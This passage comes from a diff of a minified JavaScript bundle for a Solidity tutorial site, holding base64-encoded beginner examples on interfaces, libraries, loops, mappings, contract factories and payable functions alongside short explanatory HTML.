MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],F0=`

        You can interact with other contracts by declaring an Interface.

        Interface

        • cannot have any functions implemented
          • @@ -9818,7 +10380,7 @@ F D,E return (reserve0, reserve1); } } -`,Y0=({prev:s,next:a})=>r.jsx(u,{version:W0,title:G0,description:B0,html:f0,prev:s,next:a,codes:V0}),R0="0.8.24",X0="Library",v0="Example of how to write and use libraries in your Solidity code",N0=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],H0=`

          Libraries are similar to contracts, but you can't declare any state variable and +`,K0=({prev:s,next:a})=>r.jsx(u,{version:X0,title:v0,description:N0,html:F0,prev:s,next:a,codes:H0}),S0="0.8.24",M0="Library",x0="Example of how to write and use libraries in your Solidity code",J0=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],z0=`

          Libraries are similar to contracts, but you can't declare any state variable and you can't send ether.

          A library is embedded into the contract if all library functions are internal.

          Otherwise the library must be deployed and then linked before the contract is deployed.

          @@ -9875,7 +10437,7 @@ you can't send ether.

          assert(arr[1] == 2); } } -`,F0=({prev:s,next:a})=>r.jsx(u,{version:R0,title:X0,description:v0,html:H0,prev:s,next:a,codes:N0}),K0="0.8.24",S0="For and While Loop",M0="Example of for and while loop in Solidity",x0=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],J0=`

          Solidity supports for, while, and do while loops.

          +`,E0=({prev:s,next:a})=>r.jsx(u,{version:S0,title:M0,description:x0,html:z0,prev:s,next:a,codes:J0}),D0="0.8.24",T0="For and While Loop",U0="Example of for and while loop in Solidity",Q0=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],_0=`

          Solidity supports for, while, and do while loops.

          Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

          For the reason above, while and do while loops are rarely used.

          // SPDX-License-Identifier: MIT
@@ -9902,7 +10464,7 @@ you can't send ether.
          
         }
     }
 }
-
          `,z0=({prev:s,next:a})=>r.jsx(u,{version:K0,title:S0,description:M0,html:J0,prev:s,next:a,codes:x0}),E0="0.8.24",U0="Mapping",T0="Example of using mapping in Solidity",Q0=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],D0=`

          Maps are created with the syntax mapping(keyType => valueType).

          +`,L0=({prev:s,next:a})=>r.jsx(u,{version:D0,title:T0,description:U0,html:_0,prev:s,next:a,codes:Q0}),O0="0.8.24",P0="Mapping",$0="Example of using mapping in Solidity",q0=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],sW=`

          Maps are created with the syntax mapping(keyType => valueType).

          The keyType can be any built-in value type, bytes, string, or any contract.

          valueType can be any type including another mapping or an array.

          Mappings are not iterable.

          @@ -9948,7 +10510,7 @@ you can't send ether.

          delete nested[_addr1][_i]; } } -`,L0=({prev:s,next:a})=>r.jsx(u,{version:E0,title:U0,description:T0,html:D0,prev:s,next:a,codes:Q0}),_0="0.8.24",O0="Contract that Creates other Contracts",P0="Learn how to create new contracts from inside of a contract with Solidity",$0=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlfShfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlMihhZGRyZXNzIF9vd25lciwgc3RyaW5nIG1lbW9yeSBfbW9kZWwsIGJ5dGVzMzIgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXtzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTJBbmRTZW5kRXRoZXIoCiAgICAgICAgYWRkcmVzcyBfb3duZXIsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbW9kZWwsCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlLCBzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhcih1aW50MjU2IF9pbmRleCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],q0=`

          Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

          +`,aW=({prev:s,next:a})=>r.jsx(u,{version:O0,title:P0,description:$0,html:sW,prev:s,next:a,codes:q0}),nW="0.8.24",lW="Contract that Creates other Contracts",pW="Learn how to create new contracts from inside of a contract with Solidity",eW=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlfShfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlMihhZGRyZXNzIF9vd25lciwgc3RyaW5nIG1lbW9yeSBfbW9kZWwsIGJ5dGVzMzIgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXtzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTJBbmRTZW5kRXRoZXIoCiAgICAgICAgYWRkcmVzcyBfb3duZXIsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbW9kZWwsCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlLCBzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhcih1aW50MjU2IF9pbmRleCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],cW=`

          Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -10011,7 +10573,7 @@ you can't send ether.
          
         return (car.owner(), car.model(), car.carAddr(), address(car).balance);
     }
 }
-
          `,sW=({prev:s,next:a})=>r.jsx(u,{version:_0,title:O0,description:P0,html:q0,prev:s,next:a,codes:$0}),aW="0.8.24",nW="Payable",lW="An example of how to use the keyword payable in Solidity",pW=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludDI1NiBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0gb3duZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byB0cmFuc2ZlciBFdGhlciBmcm9tIHRoaXMgY29udHJhY3QgdG8gYWRkcmVzcyBmcm9tIGlucHV0CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHB